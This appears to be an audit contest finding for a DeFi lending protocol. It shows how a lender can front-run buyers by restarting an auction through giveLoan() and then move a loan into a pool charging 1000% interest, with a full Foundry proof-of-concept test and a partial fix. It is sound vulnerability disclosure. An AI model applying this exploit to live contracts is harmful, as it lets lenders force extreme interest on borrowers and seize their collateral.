20,000 USDC
View results
Submission Details
Severity: medium
Valid

Malicious lender can increment the loan interest using the auction process

Summary

Malicious lender can increment the loan interest using the auction process making the borrower to pay more interests from his loan.

Vulnerability Details

The malicious lender can abuse of the auction process in order to increment the borrower loan interests. Please see the next scenario:

  1. Malicious lender create the pool1 and borrower borrows 100 debt token from the pool at 0.1% interest.

  2. Malicious lender starts an auction for the loan using the startAuction() function.

  3. Now, anybody can buy the auctioned loan using the buyLoan() function. If there is an intention from someone to buy the auctioned loan, the malicious lender frontrun the transaction and cancel the auction via the giveLoan() function, so now the buyLoan() will be reverted because the loan is NOT in auction.

  4. The malicious lender repeat the process until nobody cares about the auctioned loan. So now the malicious lender can wait until the end of the auction process and get the maximum possible interest.

  5. Now, the malicious lender can call buyLoan() and assign the loan to a malicious pool which has an maximum possible interest.

  6. The borrower loan interest has increased by a malicious lender.

I created a test where the malicious lender1 increments the loan interest rate from 0.1% to 1000%. Test steps:

  1. Lender1 creates a pool with 1000 balance, 0.1% interest rate and auction length 1 days.
    Borrower borrows 100 debt and put 100 collateral.

  2. Lender1 starts an auction

  3. There is an interested pool in buying the loan but Lender1 frontrun an restart the
    auction via giveLoan(), so the loan is not possible to buy.

  4. Auction is restarted. Debt is the same 100 tokens, collateral balance is the same 100 tokens
    and Pool balance is the same 900 tokens.

  5. It is not possible to buy the loan since the auction was restarted in the step 3.

  6. Lender1 creates a malicious pool in coalition with a malicious actor.
    The malicious pool will have the maximum interest 1000%. This new pool can be a pool from the same lender using
    another private key.

  7. Lender1 starts the auction again and warp to the end of the auction.

  8. Lender1 buys the auctioned loan to his malicious pool. Now the loan has a 1000% interest.
    The lender1 maliciously increments the loan interest.

// test/Lender.t.sol:LenderTest
// $ forge test --match-test "test_malicious_lender_can_increment_loan_interest" -vvv
function test_malicious_lender_can_increment_loan_interest() public {
// Malicious lender can increment the loan interest using the auction process
// 1. Lender1 creates a pool with 1000 balance, 0.1% interest rate and auction length 1 days.
// Borrower borrows 100 debt and put 100 collateral.
// 2. Lender1 starts an auction
// 3. There is an interested pool in buying the loan but Lender1 frontrun an restart the
// auction via giveLoan(), so the loan is not possible to buy.
// 4. Auction is restarted. Debt is the same 100 tokens, collateral balance is the same 100 tokens
// and Pool balance is the same 900 tokens.
// 5. It is not possible to buy the loan since the auction was restarted in the step 3.
// 6. Lender1 creates a maliciouspool in coalition with a malicious actor.
// The malicious pool will have the maximum interest 1000%. This new pool can be a pool from the same lender using
// another private key.
// 7. Lender1 starts the auction again and warp to the end of the auction.
// 8. Lender1 buy the auctioned loan to his malicious pool. Now the loan has a 1000% interest.
// The lender1 maliciously increments the loan interest.
address attacker = address(1337);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
//
// 1. Lender1 creates a pool with 1000 balance, 0.1% interest rate and auction length 1 days.
// Borrower borrows 100 debt and put 100 collateral.
//
test_borrow();
bytes32 poolIdLender1 = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
// assert loan debt, loan collateral and final pool balance
(,,,,uint256 poolBalance,,,,) = lender.pools(poolIdLender1);
(,,,,,uint256 collaterlLoan,uint256 newLoanInterestRate,,,) = lender.loans(0);
assertEq(lender.getLoanDebt(0), 100 * 10**18);
assertEq(collaterlLoan, 100 * 10**18);
assertEq(newLoanInterestRate, 1000); // Loan interest 0.1%
assertEq(poolBalance, 900 * 10**18); // 1000 pool balance - 100 loan debt
//
// 2. Lender1 starts an auction
//
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.startPrank(lender1);
lender.startAuction(loanIds);
(,,,,,,,,uint256 auctionStartTime,) = lender.loans(0);
assertEq(auctionStartTime, block.timestamp); // auction has started
//
// 3. There is an interested pool in buying the loan but Lender1 frontrun an restart the
// auction via giveLoan(), so the loan is not possible to buy().
//
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = poolIdLender1;
lender.giveLoan(loanIds, poolIds); // malicious lender restart the auction using the giveLoan() function
//
// 4. Auction is restarted. Debt is the same 100 tokens, collateral balance is the same 100 tokens
// and Pool balance is the same 900 tokens
//
(,,,,,,,,auctionStartTime,) = lender.loans(0);
assertEq(auctionStartTime, type(uint256).max); // auction is restarted
(,,,,poolBalance,,,,) = lender.pools(poolIdLender1);
(,,,,,collaterlLoan,,,,) = lender.loans(0);
assertEq(lender.getLoanDebt(0), 100 * 10**18);
assertEq(collaterlLoan, 100 * 10**18);
assertEq(poolBalance, 900 * 10**18); // 1000 pool balance - 100 loan debt
//
// 5. It is not possible to buy the loan since the auction was restarted in the step 3
//
vm.expectRevert(AuctionNotStarted.selector);
lender.buyLoan(0, keccak256(abi.encode("whateverpoolIdDoesNotMatterBecuaseWillBeRevertedBeforeAnythinElse")));
vm.stopPrank();
//
// 6. Lender1 creates a maliciouspool in coalition with a malicious actor.
// The malicious pool will have the maximum interest 1000%. This new pool can be a pool from the same lender using
// another private key.
//
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
Pool memory attackerP = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 100000, // maximum interest
outstandingLoans: 0
});
bytes32 poolIdAttacker = lender.setPool(attackerP);
vm.stopPrank();
//
// 7. Lender1 starts the auction again and warp to the end of the auction.
//
vm.startPrank(lender1);
lender.startAuction(loanIds);
// warp
vm.warp(block.timestamp + 24 hours);
//
// 8. Lender1 buy the auctioned loan to his malicious pool. Now the loan has a 1000% interest.
// The lender1 maliciously increments the loan interest.
//
lender.buyLoan(0, poolIdAttacker);
(,,,,,,newLoanInterestRate,,,) = lender.loans(0);
assertEq(newLoanInterestRate, 100000); // loan interest is 1000% rate
}

Impact

Malicious lender can make the borrower to pay more interests for the loan without the borrower's consent. Since the interests can be incremented to 1000% the borrower may not be prepared to this increment and lost his collateral.

Tools used

Manual review

Recommendations

Don't allow the lender to set the same pool the loan has in the giveLoan() function so the auction can not be restarted and a malicious lender can not restart the auction and benefit from this process.

function giveLoan(
uint256[] calldata loanIds,
bytes32[] calldata poolIds
) external {
for (uint256 i = 0; i < loanIds.length; i++) {
uint256 loanId = loanIds[i];
bytes32 poolId = poolIds[i];
// get the loan info
Loan memory loan = loans[loanId];
// validate the loan
if (msg.sender != loan.lender) revert Unauthorized();
// get the pool info
Pool memory pool = pools[poolId];
++ // Validate the pool is not the same
++ if (pool.lender == loan.lender) revert();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.